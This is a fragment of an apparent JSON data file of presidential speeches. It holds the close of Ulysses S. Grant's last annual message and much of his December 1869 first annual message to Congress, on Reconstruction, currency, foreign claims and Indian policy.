respectfully suggest that a resolution of Congress to\nthat effect be adopted.The attention of Congress can not be too earnestly called to the necessity\nof throwing some greater safeguard over the method of choosing and\ndeclaring the election of a President. Under the present system there seems\nto be no provided remedy for contesting the election in any one State. The\nremedy is partially, no doubt, in the enlightenment of electors. The\ncompulsory support of the free school and the disfranchisement of all who\ncan not read and write the English language, after a fixed probation, would\nmeet my hearty approval. I would not make this apply, however, to those\nalready voters, but I would to all becoming so after the expiration of the\nprobation fixed upon. Foreigners coming to this country to become citizens,\nwho are educated in their own language, should acquire the requisite\nknowledge of ours during the necessary residence to obtain naturalization.\nIf they did not take interest enough in our language to acquire sufficient\nknowledge of it to enable them to study the institutions and laws of the\ncountry intelligently, I would not confer upon them the right to make such\nlaws nor to select those who do.I append to this message, for convenient reference, a synopsis of\nadministrative events and of all recommendations to Congress made by me\nduring the last seven years. Time may show some of these recommendations\nnot to have been wisely conceived, but I believe the larger part will do no\ndiscredit to the Administration. One of these recommendations met with the\nunited opposition of one political party in the Senate and with a strong\nopposition from the other, namely, the treaty for the annexation of Santo\nDomingo to the United States, to which I will specially refer, maintaining,\nas I do, that if my views had been concurred in the country would be in a\nmore prosperous condition to-day, both politically and financially.Santo Domingo is fertile, and upon its soil may be grown just those\ntropical products of which the United States use so much, and which are\nproduced or prepared for market now by slave labor almost exclusively,\nnamely, sugar, coffee, dyewoods, mahogany, tropical fruits, tobacco, etc.\nAbout 75 per cent of the exports of Cuba are consumed in the United States.\nA large percentage of the exports of Brazil also find the same market.\nThese are paid for almost exclusively in coin, legislation, particularly in\nCuba, being unfavorable to a mutual exchange of the products of each\ncountry. Flour shipped from the Mississippi River to Havana can pass by the\nvery entrance to the city on its way to a port in Spain, there pay a duty\nfixed upon articles to be reexported, transferred to a Spanish vessel and\nbrought back almost to the point of starting, paying a second duty, and\nstill leave a profit over what would be received by direct shipment. All\nthat is produced in Cuba could be produced in Santo Domingo. Being a part\nof the United States, commerce between the island and mainland would be\nfree. There would be no export duties on her shipments nor import duties on\nthose coming here. There would be no import duties upon the supplies,\nmachinery, etc., going from the States. The effect that would have been\nproduced upon Cuban commerce, with these advantages to a rival, is\nobservable at a glance. The Cuban question would have been settled long ago\nin favor of \"free Cuba.\" Hundreds of American vessels would now be\nadvantageously used in transporting the valuable woods and other products\nof the soil of the island to a market and in carrying supplies and\nemigrants to it. The island is but sparsely settled, while it has an area\nsufficient for the profitable employment of several millions of people. The\nsoil would have soon fallen into the hands of United States capitalists.\nThe products are so valuable in commerce that emigration there would have\nbeen encouraged; the emancipated race of the South would have found there a\ncongenial home, where their civil rights would not be disputed and where\ntheir labor would be so much sought after that the poorest among them could\nhave found the means to go. Thus in cases of great oppression and cruelty,\nsuch as has been practiced upon them in many places within the last eleven\nyears, whole communities would have sought refuge in Santo Domingo. I do\nnot suppose the whole race would have gone, nor is it desirable that they\nshould go. Their labor is desirable--indispensable almost--where they now\nare. But the possession of this territory would have left the negro \"master\nof the situation,\" by enabling him to demand his rights at home on pain of\nfinding them elsewhere.I do not present these views now as a recommendation for a renewal of the\nsubject of annexation, but I do refer to it to vindicate my previous action\nin regard to it.With the present term of Congress my official life terminates. It is not\nprobable that public affairs will ever again receive attention from me\nfurther than as a citizen of the Republic, always taking a deep interest in\nthe honor, integrity, and prosperity of the whole land.U. S. GRANT", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 6, 1869", 
+    "speech": "To the Senate and House of Representatives:In coming before you for the first time as Chief Magistrate of this great\nnation, it is with gratitude to the Giver of All Good for the many benefits\nwe enjoy. We are blessed with peace at home, and are without entangling\nalliances abroad to forebode trouble; with a territory unsurpassed in\nfertility, of an area equal to the abundant support of 500,000,000 people,\nand abounding in every variety of useful mineral in quantity sufficient to\nsupply the world for generations; with exuberant crops; with a variety of\nclimate adapted to the production of every species of earth's riches and\nsuited to the habits, tastes, and requirements of every living thing; with\na population of 40,000,000 free people, all speaking one language; with\nfacilities for every mortal to acquire an education; with institutions\nclosing to none the avenues to fame or any blessing of fortune that may be\ncoveted; with freedom of the pulpit, the press, and the school; with a\nrevenue flowing into the National Treasury beyond the requirements of the\nGovernment. Happily, harmony is being rapidly restored within our own\nborders. Manufactures hitherto unknown in our country are springing up in\nall sections, producing a degree of national independence unequaled by that\nof any other power.These blessings and countless others are intrusted to your care and mine\nfor safe-keeping for the brief period of our tenure of office. In a short\ntime we must, each of us, return to the ranks of the people, who have\nconferred upon us our honors, and account to them for our stewardship. I\nearnestly desire that neither you nor I may be condemned by a free and\nenlightened constituency nor by our own consciences.Emerging from a rebellion of gigantic magnitude, aided, as it was, by the\nsympathies and assistance of nations with which we were at peace, eleven\nStates of the Union were, four years ago, left without legal State\ngovernments. A national debt had been contracted; American commerce was\nalmost driven from the seas; the industry of one-half of the country had\nbeen taken from the control of the capitalist and placed where all labor\nrightfully belongs--in the keeping of the laborer. The work of restoring\nState governments loyal to the Union, of protecting and fostering free\nlabor, and providing means for paying the interest on the public debt has\nreceived ample attention from Congress. Although your efforts have not met\nwith the success in all particulars that might have been desired, yet on\nthe whole they have been more successful than could have been reasonably\nanticipated.Seven States which passed ordinances of secession have been fully restored\nto their places in the Union. The eighth (Georgia) held an election at\nwhich she ratified her constitution, republican in form, elected a\ngovernor, Members of Congress, a State legislature, and all other officers\nrequired. The governor was duly installed, and the legislature met and\nperformed all the acts then required of them by the reconstruction acts of\nCongress. Subsequently, however, in violation of the constitution which\nthey had just ratified (as since decided by the supreme court of the\nState), they unseated the colored members of the legislature and admitted\nto seats some members who are disqualified by the third clause of the\nfourteenth amendment to the Constitution--an article which they themselves\nhad contributed to ratify. Under these circumstances I would submit to you\nwhether it would not be wise, without delay, to enact a law authorizing the\ngovernor of Georgia to convene the members originally elected to the\nlegislature, requiring each member to take the oath prescribed by the\nreconstruction acts, and none to be admitted who are ineligible under the\nthird clause of the fourteenth amendment.The freedmen, under the protection which they have received, are making\nrapid progress in learning, and no complaints are heard of lack of industry\non their part where they receive fair remuneration for their labor. The\nmeans provided for paying the interest on the public debt, with all other\nexpenses of Government, are more than ample. The loss of our commerce is\nthe only result of the late rebellion which has not received sufficient\nattention from you. To this subject I call your earnest attention. I will\nnot now suggest plans by which this object may be effected, but will, if\nnecessary, make it the subject of a special message during the session of\nCongress.At the March term Congress by joint resolution authorized the Executive to\norder elections in the States of Virginia, Mississippi, and Texas, to\nsubmit to them the constitutions which each had previously, in convention,\nframed, and submit the constitutions, either entire or in separate parts,\nto be voted upon, at the discretion of the Executive. Under this authority\nelections were called. In Virginia the election took place on the 6th of\nJuly, 1869. The governor and lieutenant-governor elected have been\ninstalled. The legislature met and did all required by this resolution and\nby all the reconstruction acts of Congress, and abstained from all doubtful\nauthority. I recommend that her Senators and Representatives be promptly\nadmitted to their seats, and that the State be fully restored to its place\nin the family of States. Elections were called in Mississippi and Texas, to\ncommence on the 30th of November, 1869, and to last two days in Mississippi\nand four days in Texas. The elections have taken place, but the result is\nnot known. It is to be hoped that the acts of the legislatures of these\nStates, when they meet, will be such as to receive your approval, and thus\nclose the work of reconstruction.Among the evils growing out of the rebellion, and not yet referred to, is\nthat of an irredeemable currency. It is an evil which I hope will receive\nyour most earnest attention. It is a duty, and one of the highest duties,\nof Government to secure to the citizen a medium of exchange of fixed,\nunvarying value. This implies a return to a specie basis, and no substitute\nfor it can be devised. It should be commenced now and reached at the\nearliest practicable moment consistent with a fair regard to the interests\nof the debtor class. Immediate resumption, if practicable, would not be\ndesirable. It would compel the debtor class to pay, beyond their contracts,\nthe premium on gold at the date of their purchase and would bring\nbankruptcy and ruin to thousands. Fluctuation, however, in the paper value\nof the measure of all values (gold) is detrimental to the interests of\ntrade. It makes the man of business an involuntary gambler, for in all\nsales where future payment is to be made both parties speculate as to what\nwill be the value of the currency to be paid and received. I earnestly\nrecommend to you, then, such legislation as will insure a gradual return to\nspecie payments and put an immediate stop to fluctuations in the value of\ncurrency.The methods to secure the former of these results are as numerous as are\nthe speculators on political economy. To secure the latter I see but one\nway, and that is to authorize the Treasury to redeem its own paper, at a\nfixed price, whenever presented, and to withhold from circulation all\ncurrency so redeemed until sold again for gold.The vast resources of the nation, both developed and undeveloped, ought to\nmake our credit the best on earth. With a less burden of taxation than the\ncitizen has endured for six years past, the entire public debt could be\npaid in ten years. But it is not desirable that the people should be taxed\nto pay it in that time. Year by year the ability to pay increases in a\nrapid ratio. But the burden of interest ought to be reduced as rapidly as\ncan be done without the violation of contract. The public debt is\nrepresented in great part by bonds having from five to twenty and from ten\nto forty years to run, bearing interest at the rate of 6 per cent and 5 per\ncent, respectively. It is optional with the Government to pay these bonds\nat any period after the expiration of the least time mentioned upon their\nface. The time has already expired when a great part of them may be taken\nup, and is rapidly approaching when all may be. It is believed that all\nwhich are now due may be replaced by bonds bearing a rate of interest not\nexceeding 4 1/2 per cent, and as rapidly as the remainder become due that\nthey may be replaced in the same way. To accomplish this it may be\nnecessary to authorize the interest to be paid at either of three or four\nof the money centers of Europe, or by any assistant treasurer of the United\nStates, at the option of the holder of the bond. I suggest this subject for\nthe consideration of Congress, and also, simultaneously with this, the\npropriety of redeeming our currency, as before suggested, at its market\nvalue at the time the law goes into effect, increasing the rate at which\ncurrency shall be bought and sold from day to day or week to week, at the\nsame rate of interest as Government pays upon its bonds.The subjects of tariff and internal taxation will necessarily receive your\nattention. The revenues of the country are greater than the requirements,\nand may with safety be reduced. But as the funding of the debt in a 4 or a\n4 1/2 per cent loan would reduce annual current expenses largely, thus,\nafter funding, justifying a greater reduction of taxation than would be now\nexpedient, I suggest postponement of this question until the next meeting\nof Congress.It may be advisable to modify taxation and tariff in instances where unjust\nor burdensome discriminations are made by the present laws, but a general\nrevision of the laws regulating this subject I recommend the postponement\nof for the present. I also suggest the renewal of the tax on incomes, but\nat a reduced rate, say of 3 per cent, and this tax to expire in three\nyears.With the funding of the national debt, as here suggested, I feel safe in\nsaying that taxes and the revenue from imports may be reduced safely from\nsixty to eighty millions per annum at once, and may be still further\nreduced from year to year, as the resources of the country are developed.The report of the Secretary of the Treasury shows the receipts of the\nGovernment for the fiscal year ending June 30, 1869, to be $370,943,747,\nand the expenditures, including interest, bounties, etc., to be\n$321,490,597. The estimates for the ensuing year are more favorable to the\nGovernment, and will no doubt show a much larger decrease of the public\ndebt.The receipts in the Treasury beyond expenditures have exceeded the amount\nnecessary to place to the credit of the sinking fund, as provided by law.\nTo lock up the surplus in the Treasury and withhold it from circulation\nwould lead to such a contraction of the currency as to cripple trade and\nseriously affect the prosperity of the country. Under these circumstances\nthe Secretary of the Treasury and myself heartily concurred in the\npropriety of using all the surplus currency in the Treasury in the purchase\nof Government bonds, thus reducing the interest-bearing indebtedness of the\ncountry, and of submitting to Congress the question of the disposition to\nbe made of the bonds so purchased. The bonds now held by the Treasury\namount to about seventy-five millions, including those belonging to the\nsinking fund. I recommend that the whole be placed to the credit of the\nsinking fund.Your attention is respectfully invited to the recommendations of the\nSecretary of the Treasury for the creation of the office of commissioner of\ncustoms revenue; for the increase of salaries to certain classes of\nofficials; the substitution of increased national-bank circulation to\nreplace the outstanding 3 per cent certificates; and most especially to his\nrecommendation for the repeal of laws allowing shares of fines, penalties,\nforfeitures, etc., to officers of the Government or to informers.The office of Commissioner of Internal Revenue is one of the most arduous\nand responsible under the Government. It falls but little, if any, short of\na Cabinet position in its importance and responsibilities. I would ask for\nit, therefore, such legislation as in your judgment will place the office\nupon a footing of dignity commensurate with its importance and with the\ncharacter and qualifications of the class of men required to fill it\nproperly.As the United States is the freest of all nations, so, too, its people\nsympathize with all people struggling for liberty and self-government; but\nwhile so sympathizing it is due to our honor that we should abstain from\nenforcing our views upon unwilling nations and from taking an interested\npart, without invitation, in the quarrels between different nations or\nbetween governments and their subjects. Our course should always be in\nconformity with strict justice and law, international and local. Such has\nbeen the policy of the Administration in dealing with these questions. For\nmore than a year a valuable province of Spain, and a near neighbor of ours,\nin whom all our people can not but feel a deep interest, has been\nstruggling for independence and freedom. The people and Government of the\nUnited States entertain the same warm feelings and sympathies for the\npeople of Cuba in their pending struggle that they manifested throughout\nthe previous struggles between Spain and her former colonies in behalf of\nthe latter. But the contest has at no time assumed the conditions which\namount to a war in the sense of international law, or which would show the\nexistence of a de facto political organization of the insurgents sufficient\nto justify a recognition of belligerency.The principle is maintained, however, that this nation is its own judge\nwhen to accord the rights of belligerency, either to a people struggling to\nfree themselves from a government they believe to be oppressive or to\nindependent nations at war with each other.The United States have no disposition to interfere with the existing\nrelations of Spain to her colonial possessions on this continent. They\nbelieve that in due time Spain and other European powers will find their\ninterest in terminating those relations and establishing their present\ndependencies as independent powers--members of the family of nations. These\ndependencies are no longer regarded as subject to transfer from one\nEuropean power to another. When the present relation of colonies ceases,\nthey are to become independent powers, exercising the right of choice and\nof self-control in the determination of their future condition and\nrelations with other powers.The United States, in order to put a stop to bloodshed in Cuba, and in the\ninterest of a neighboring people, proposed their good offices to bring the\nexisting contest to a termination. The offer, not being accepted by Spain\non a basis which we believed could be received by Cuba, was withdrawn. It\nis hoped that the good offices of the United States may yet prove\nadvantageous for the settlement of this unhappy strife. Meanwhile a number\nof illegal expeditions against Cuba have been broken up. It has been the\nendeavor of the Administration to execute the neutrality laws in good\nfaith, no matter how unpleasant the task, made so by the sufferings we have\nendured from lack of like good faith toward us by other nations.On the 26th of March last the United States schooner Lizzie Major was\narrested on the high seas by a Spanish frigate, and two passengers taken\nfrom it and carried as prisoners to Cuba. Representations of these facts\nwere made to the Spanish Government as soon as official information of them\nreached Washington. The two passengers were set at liberty, and the Spanish\nGovernment assured the United States that the captain of the frigate in\nmaking the capture had acted without law, that he had been reprimanded for\nthe irregularity of his conduct, and that the Spanish authorities in Cuba\nwould not sanction any act that could violate the rights or treat with\ndisrespect the sovereignty of this nation.The question of the seizure of the brig Mary Lowell at one of the Bahama\nIslands by Spanish authorities is now the subject of correspondence between\nthis Government and those of Spain and Great Britain.The Captain-General of Cuba about May last issued a proclamation\nauthorizing search to be made of vessels on the high seas. Immediate\nremonstrance was made against this, whereupon the Captain-General issued a\nnew proclamation limiting the right of search to vessels of the United\nStates so far as authorized under the treaty of 1795. This proclamation,\nhowever, was immediately withdrawn.I have always felt that the most intimate relations should be cultivated\nbetween the Republic of the United States and all independent nations on\nthis continent. It may be well worth considering whether new treaties\nbetween us and them may not be profitably entered into, to secure more\nintimate relations--friendly, commercial, and otherwise.The subject of an interoceanic canal to connect the Atlantic and Pacific\noceans through the Isthmus of Darien is one in which commerce is greatly\ninterested. Instructions have been given to our minister to the Republic of\nthe United States of Colombia to endeavor to obtain authority for a survey\nby this Government, in order to determine the practicability of such an\nundertaking, and a charter for the right of way to build, by private\nenterprise, such a work, if the survey proves it to be practicable.In order to comply with the agreement of the United States as to a mixed\ncommission at Lima for the adjustment of claims, it became necessary to\nsend a commissioner and secretary to Lima in August last. No appropriation\nhaving been made by Congress for this purpose, it is now asked that one be\nmade covering the past and future expenses of the commission.The good offices of the United States to bring about a peace between Spain\nand the South American Republics with which she is at war having been\naccepted by Spain, Peru, and Chile, a congress has been invited to be held\nin Washington during the present winter.A grant has been given to Europeans of an exclusive right of transit over\nthe territory of Nicaragua, to which Costa Rico has given its assent,\nwhich, it is alleged, conflicts with vested rights of citizens of the\nUnited States. The Department of State has now this subject under\nconsideration.The minister of Peru having made representations that there was a state of\nwar between Peru and Spain, and that Spain was constructing, in and near\nNew York, thirty gunboats, which might be used by Spain in such a way as to\nrelieve the naval force at Cuba, so as to operate against Peru, orders were\ngiven to prevent their departure. No further steps having been taken by the\nrepresentative of the Peruvian Government to prevent the departure of these\nvessels, and I not feeling authorized to detain the property of a nation\nwith which we are at peace on a mere Executive order, the matter has been\nreferred to the courts to decide.The conduct of the war between the allies and the Republic of Paraguay has\nmade the intercourse with that country so difficult that it has been deemed\nadvisable to withdraw our representative from there.Toward the close of the last Administration a convention was signed at\nLondon for the settlement of all outstanding claims between Great Britain\nand the United States, which failed to receive the advice and consent of\nthe Senate to its ratification. The time and the circumstances attending\nthe negotiation of that treaty were unfavorable to its acceptance by the\npeople of the United States, and its provisions were wholly inadequate for\nthe settlement of the grave wrongs that had been sustained by this\nGovernment, as well as by its citizens. The injuries resulting to the\nUnited States by reason of the course adopted by Great Britain during our\nlate civil war--in the increased rates of insurance; in the diminution of\nexports and imports, and other obstructions to domestic industry and\nproduction; in its effect upon the foreign commerce of the country; in the\ndecrease and transfer to Great Britain of our commercial marine; in the\nprolongation of the war and the increased cost (both in treasure and in\nlives) of its suppression could not be adjusted and satisfied as ordinary\ncommercial claims, which continually arise between commercial nations; and\nyet the convention treated them simply as such ordinary claims, from which\nthey differ more widely in the gravity of their character than in the\nmagnitude of their amount, great even as is that difference. Not a word was\nfound in the treaty, and not an inference could be drawn from it, to remove\nthe sense of the unfriendliness of the course of Great Britain in our\nstruggle for existence, which had so deeply and universally impressed\nitself upon the people of this country.Believing that a convention thus misconceived in its scope and inadequate\nin its provisions would not have produced the hearty, cordial settlement of\npending questions, which alone is consistent with the relations which I\ndesire to have firmly established between the United States and Great\nBritain, I regarded the action of the Senate in rejecting the treaty to\nhave been wisely taken in the interest of peace and as a necessary step in\nthe direction of a perfect and cordial friendship between the two\ncountries. A sensitive people, conscious of their power, are more at ease\nunder a great wrong wholly unatoned than under the restraint of a\nsettlement which satisfies neither their ideas of justice nor their grave\nsense of the grievance they have sustained. The rejection of the treaty was\nfollowed by a state of public feeling on both sides which I thought not\nfavorable to an immediate attempt at renewed negotiations. I accordingly so\ninstructed the minister of the United States to Great Britain, and found\nthat my views in this regard were shared by Her Majesty's ministers. I hope\nthat the time may soon arrive when the two Governments can approach the\nsolution of this momentous question with an appreciation of what is due to\nthe rights, dignity, and honor of each, and with the determination not only\nto remove the causes of complaint in the past, but to lay the foundation of\na broad principle of public law which will prevent future differences and\ntend to firm and continued peace and friendship.This is now the only grave question which the United States has with any\nforeign nation.The question of renewing a treaty for reciprocal trade between the United\nStates and the British Provinces on this continent has not been favorably\nconsidered by the Administration. The advantages of such a treaty would be\nwholly in favor of the British producer. Except, possibly, a few engaged in\nthe trade between the two sections, no citizen of the United States would\nbe benefited by reciprocity. Our internal taxation would prove a protection\nto the British producer almost equal to the protection which our\nmanufacturers now receive from the tariff. Some arrangement, however, for\nthe regulation of commercial intercourse between the United States and the\nDominion of Canada may be desirable.The commission for adjusting the claims of the \"Hudsons Bay and Puget Sound\nAgricultural Company\" upon the United States has terminated its labors. The\naward of $650,000 has been made and all rights and titles of the company on\nthe territory of the United States have been extinguished. Deeds for the\nproperty of the company have been delivered. An appropriation by Congress\nto meet this sum is asked.The commissioners for determining the northwestern land boundary between\nthe United States and the British possessions under the treaty of 1856 have\ncompleted their labors, and the commission has been dissolved.In conformity with the recommendation of Congress, a proposition was early\nmade to the British Government to abolish the mixed courts created under\nthe treaty of April 7, 1862, for the suppression of the slave trade. The\nsubject is still under negotiation.It having come to my knowledge that a corporate company, organized under\nBritish laws, proposed to land upon the shores of the United States and to\noperate there a submarine cable, under a concession from His Majesty the\nEmperor of the French of an exclusive right for twenty years of telegraphic\ncommunication between the shores of France and the United States, with the\nvery objectionable feature of subjecting all messages conveyed thereby to\nthe scrutiny and control of the French Government, I caused the French and\nBritish legations at Washington to be made acquainted with the probable\npolicy of Congress on this subject, as foreshadowed by the bill which\npassed the Senate in March last. This drew from the representatives of the\ncompany an agreement to accept as the basis of their operations the\nprovisions of that bill, or of such other enactment on the subject as might\nbe passed during the approaching session of Congress; also, to use their\ninfluence to secure from the French Government a modification of their\nconcession, so as to permit the landing upon French soil of any cable\nbelonging to any company incorporated by the authority of the United States\nor of any State in the Union, and, on their part, not to oppose the\nestablishment of any such cable. In consideration of this agreement I\ndirected the withdrawal of all opposition by the United States authorities\nto the landing of the cable and to the working of it until the meeting of\nCongress. I regret to say that there has been no modification made in the\ncompany's concession, nor, so far as I can learn, have they attempted to\nsecure one. Their concession excludes the capital and the citizens of the\nUnited States from competition upon the shores of France. I recommend\nlegislation to protect the rights of citizens of the United States, as well\nas the dignity and sovereignty of the nation, against such an assumption. I\nshall also endeavor to secure, by negotiation, an abandonment of the\nprinciple of monopolies in ocean telegraphic cables. Copies of this\ncorrespondence are herewith furnished.The unsettled political condition of other countries, less fortunate than\nour own, sometimes induces their citizens to come to the United States for\nthe sole purpose of becoming naturalized. Having secured this, they return\nto their native country and reside there, without disclosing their change\nof allegiance. They accept official positions of trust or honor, which can\nonly be held by citizens of their native land; they journey under passports\ndescribing them as such citizens; and it is only when civil discord, after\nperhaps years of quiet, threatens their persons or their property, or when\ntheir native state drafts them into its military service, that the fact of\ntheir change of allegiance is made known. They reside permanently away from\nthe United States, they contribute nothing to its revenues, they avoid the\nduties of its citizenship, and they only make themselves known by a claim\nof protection. I have directed the diplomatic and consular officers of the\nUnited States to scrutinize carefully all such claims for protection. The\ncitizen of the United States, whether native or adopted, who discharges his\nduty to his country, is entitled to its complete protection. While I have a\nvoice in the direction of affairs I shall not consent to imperil this\nsacred right by conferring it upon fictitious or fraudulent claimants.On the accession of the present Administration it was found that the\nminister for North Germany had made propositions for the negotiation of a\nconvention for the protection of emigrant passengers, to which no response\nhad been given. It was concluded that to be effectual all the maritime\npowers engaged in the trade should join in such a measure. Invitations have\nbeen extended to the cabinets of London, Paris, Florence, Berlin, Brussels,\nThe Hague, Copenhagen, and Stockholm to empower their representatives at\nWashington to simultaneously enter into negotiations and to conclude with\nthe United States conventions identical in form, making uniform regulations\nas to the construction of the parts of vessels to be devoted to the use of\nemigrant passengers, as to the quality and quantity of food, as to the\nmedical treatment of the sick, and as to the rules to be observed during\nthe voyage, in order to secure ventilation, to promote health, to prevent\nintrusion, and to protect the females; and providing for the establishment\nof tribunals in the several countries for enforcing such regulations by\nsummary process.Your attention is respectfully called to the law regulating the tariff on\nRussian hemp, and to the question whether to fix the charges on Russian\nhemp higher than they are fixed upon manila is not a violation of our\ntreaty with Russia placing her products upon the same footing with those of\nthe most favored nations.Our manufactures are increasing with wonderful rapidity under the\nencouragement which they now receive. With the improvements in machinery\nalready effected, and still increasing, causing machinery to take the place\nof skilled labor to a large extent, our imports of many articles must fall\noff largely within a very few years. Fortunately, too, manufactures are not\nconfined to a few localities, as formerly, and it is to be hoped will\nbecome more and more diffused, making the interest in them equal in all\nsections. They give employment and support to hundreds of thousands of\npeople at home, and retain with us the means which otherwise would be\nshipped abroad. The extension of railroads in Europe and the East is\nbringing into competition with our agricultural products like products of\nother countries. Self-interest, if not self-preservation, therefore\ndictates caution against disturbing any industrial interest of the country.\nIt teaches us also the necessity of looking to other markets for the sale\nof our surplus. Our neighbors south of us and China and Japan, should\nreceive our special attention. It will be the endeavor of the\nAdministration to cultivate such relations with all these nations as to\nentitle us to their confidence and make it their interest, as well as ours,\nto establish better commercial relations.Through the agency of a more enlightened policy than that heretofore\npursued toward China, largely due to the sagacity and efforts of one of our\nown distinguished citizens, the world is about to commence largely\nincreased relations with that populous and hitherto exclusive nation. As\nthe United States have been the initiators in this new policy, so they\nshould be the most earnest in showing their good faith in making it a\nsuccess. In this connection I advise such legislation as will forever\npreclude the enslavement of the Chinese upon our soil under the name of\ncoolies, and also prevent American vessels from engaging in the\ntransportation of coolies to any country tolerating the system. I also\nrecommend that the mission to China be raised to one of the first class.On my assuming the responsible duties of Chief Magistrate of the United\nStates it was with the conviction that three things were essential to its\npeace, prosperity, and fullest development. First among these is strict\nintegrity in fulfilling all our obligations; second, to secure protection\nto the person and property of the citizen of the United States in each and\nevery portion of our common country, wherever he may choose to move,\nwithout reference to original nationality, religion, color, or politics,\ndemanding of him only obedience to the laws and proper respect for the\nrights of others; third, union of all the States, with equal rights,\nindestructible by any constitutional means.To secure the first of these, Congress has taken two essential steps:\nFirst, in declaring by joint resolution that the public debt shall be paid,\nprincipal and interest, in coin; and, second, by providing the means for\npaying. Providing the means, however, could not secure the object desired\nwithout a proper administration of the laws for the collection of the\nrevenues and an economical disbursement of them. To this subject the\nAdministration has most earnestly addressed itself, with results, I hope,\nsatisfactory to the country. There has been no hesitation in changing\nofficials in order to secure an efficient execution of the laws, sometimes,\ntoo, when, in a mere party view, undesirable political results were likely\nto follow; nor any hesitation in sustaining efficient officials against\nremonstrances wholly political.It may be well to mention here the embarrassment possible to arise from\nleaving on the statute books the so-called \"tenure-of-office acts,\" and to\nearnestly recommend their total repeal. It could not have been the\nintention of the framers of the Constitution, when providing that\nappointments made by the President should receive the consent of the\nSenate, that the latter should have the power to retain in office persons\nplaced there by Federal appointment against the will of the President. The\nlaw is inconsistent with a faithful and efficient administration of the\nGovernment. What faith can an Executive put in officials forced upon him,\nand those, too, whom he has suspended for reason? How will such officials\nbe likely to serve an Administration which they know does not trust them?For the second requisite to our growth and prosperity time and a firm but\nhumane administration of existing laws (amended from time to time as they\nmay prove ineffective or prove harsh and unnecessary) are probably all that\nare required.The third can not be attained by special legislation, but must be regarded\nas fixed by the Constitution itself and gradually acquiesced in by force of\npublic opinion.From the foundation of the Government to the present the management of the\noriginal inhabitants of this continent--the Indians--has been a subject of\nembarrassment and expense, and has been attended with continuous robberies,\nmurders, and wars. From my own experience upon the frontiers and in Indian\ncountries, I do not hold either legislation or the conduct of the whites\nwho come most in contact with the Indian blameless for these hostilities.\nThe past, however, can not be undone, and the question must be met as we\nnow find it. I have attempted a new policy toward these wards of the nation\n(they can not be regarded in any other light than as wards), with fair\nresults so far as tried, and which I hope will be attended ultimately with\ngreat success. The Society of Friends is well known as having succeeded in\nliving in peace with the Indians in the early settlement of Pennsylvania,\nwhile their white neighbors of other sects in other sections were\nconstantly embroiled. They are also known for their opposition to all\nstrife, violence, and war, and are generally noted for their strict\nintegrity and fair dealings. These considerations induced me to give the\nmanagement of a few reservations of Indians to them and to throw the burden\nof the selection of agents upon the society itself. The result has proven\nmost satisfactory. It will be found more fully set forth in the report of\nthe Commissioner of Indian Affairs. For superintendents and Indian agents\nnot on the reservations, officers of the Army were selected. The reasons\nfor this are numerous. Where Indian agents are sent, there, or near there,\ntroops must be sent also. The agent and the commander of troops are\nindependent of each other, and are subject to orders from different\nDepartments of the Government. The army officer holds a position for life;\nthe agent, one at the will of the President. The former is personally\ninterested in living in harmony with the Indian and in establishing a\npermanent peace, to the end that some portion of his life may be spent\nwithin the limits of civilized society; the latter has no such personal\ninterest. Another reason is an economic one; and still another, the hold\nwhich the Government has upon a life officer to secure a faithful discharge\nof duties in carrying out a given policy.The building of railroads, and the access thereby given to all the\nagricultural and mineral regions of the country, is rapidly bringing\ncivilized settlements into contact with all the tribes of Indians. No\nmatter what ought to be the relations between such settlements and the\naborigines, the fact is they do not harmonize well, and one or the other\nhas to give way in the end. A system which looks to the extinction of a\nrace is too horrible for a nation to adopt without entailing upon itself\nthe wrath of all Christendom and engendering in the citizen a disregard for\nhuman life and the rights of others, dangerous to society. I see no\nsubstitute for such a system, except in placing all the Indians on large\nreservations, as rapidly as it can be done, and giving them absolute\nprotection there. As soon as they are fitted for it they should be induced\nto take their lands in severalty and to set up Territorial governments for\ntheir own protection. For full details on this subject I call your special\nattention to the reports of the Secretary of the Interior and the\nCommissioner of Indian Affairs.The report of the Secretary of War shows the expenditures of the War\nDepartment for the year ending June 30, 1869, to be $80,644,042, of which\n$23,882,310 was disbursed in the payment of debts contracted during the\nwar, and is not chargeable to current army expenses. His estimate of\n$34,531,031 for the expenses of the Army for the next fiscal year is as low\nas it is believed can be relied on. The estimates of bureau officers have\nbeen carefully scrutinized, and reduced wherever it has been deemed\npracticable. If, however, the condition of the country should be such by\nthe beginning of the next fiscal year as to admit of a greater\nconcentration of troops, the appropriation asked for will not be expended.The appropriations estimated for river and harbor improvements and for\nfortifications are submitted separately. Whatever amount Congress may deem\nproper to appropriate for these purposes will be expended.The recommendation of the General of the Army that appropriations be made\nfor the forts at Boston. Portland, New York, Philadelphia, New Orleans, and\nSan Francisco, if for no other, is concurred in. I also ask your special\nattention to the recommendation of the general commanding the Military\nDivision of the Pacific for the sale of the seal islands of St. Paul and\nSt. George, Alaska Territory, and suggest that it either be complied with\nor that legislation be had for the protection of the seal fisheries from\nwhich a revenue should be derived.The report of the Secretary of War contains a synopsis of the reports of\nthe heads of bureaus, of the commanders of military divisions, and of the\ndistricts of Virginia, Mississippi, and Texas, and the report of the\nGeneral of the Army in full. The recommendations therein contained have\nbeen well considered, and are submitted for your action. I, however, call\nspecial attention to the recommendation of the Chief of Ordnance for the\nsale of arsenals and lands no longer of use to the Government; also, to the\nrecommendation of the Secretary of War that the act of 3d March, 1869,\nprohibiting promotions and appointments in the staff corps of the Army, be\nrepealed. The extent of country to be garrisoned and the number of military\nposts to be occupied is the same with a reduced Army as with a large one.\nThe number of staff officers required is more dependent upon the latter\nthan the former condition.The report of the Secretary of the Navy accompanying this shows the\ncondition of the Navy when this Administration came into office and the\nchanges made since. Strenuous efforts have been made to place as many\nvessels \"in commission,\" or render them fit for service if required, as\npossible, and to substitute the sail for steam while cruising, thus\nmaterially reducing the expenses of the Navy and adding greatly to its\nefficiency. Looking to our future, I recommend a liberal, though not\nextravagant, policy toward this branch of the public service.The report of the Postmaster-General furnishes a clear and comprehensive\nexhibit of the operations of the postal service and of the financial\ncondition of the Post-Office Department. The ordinary postal revenues for\nthe year ending the 30th of June, 1869, amounted to $18,344,510, and the\nexpenditures to $23,698,131, showing an excess of expenditures over\nreceipts of $5,353,620. The excess of expenditures over receipts for the\nprevious year amounted to $6,437,992. The increase of revenues for 1869\nover those of 1868 was $2,051,909, and the increase of expenditures was\n$967,538. The increased revenue in 1869 exceeded the increased revenue in\n1868 by $996,336, and the increased expenditure in 1869 was $2,527,570 less\nthan the increased expenditure in 1868, showing by comparison this\ngratifying feature of improvement, that while the increase of expenditures\nover the increase of receipts in 1868 was $2,439,535, the increase of\nreceipts over the increase of expenditures in 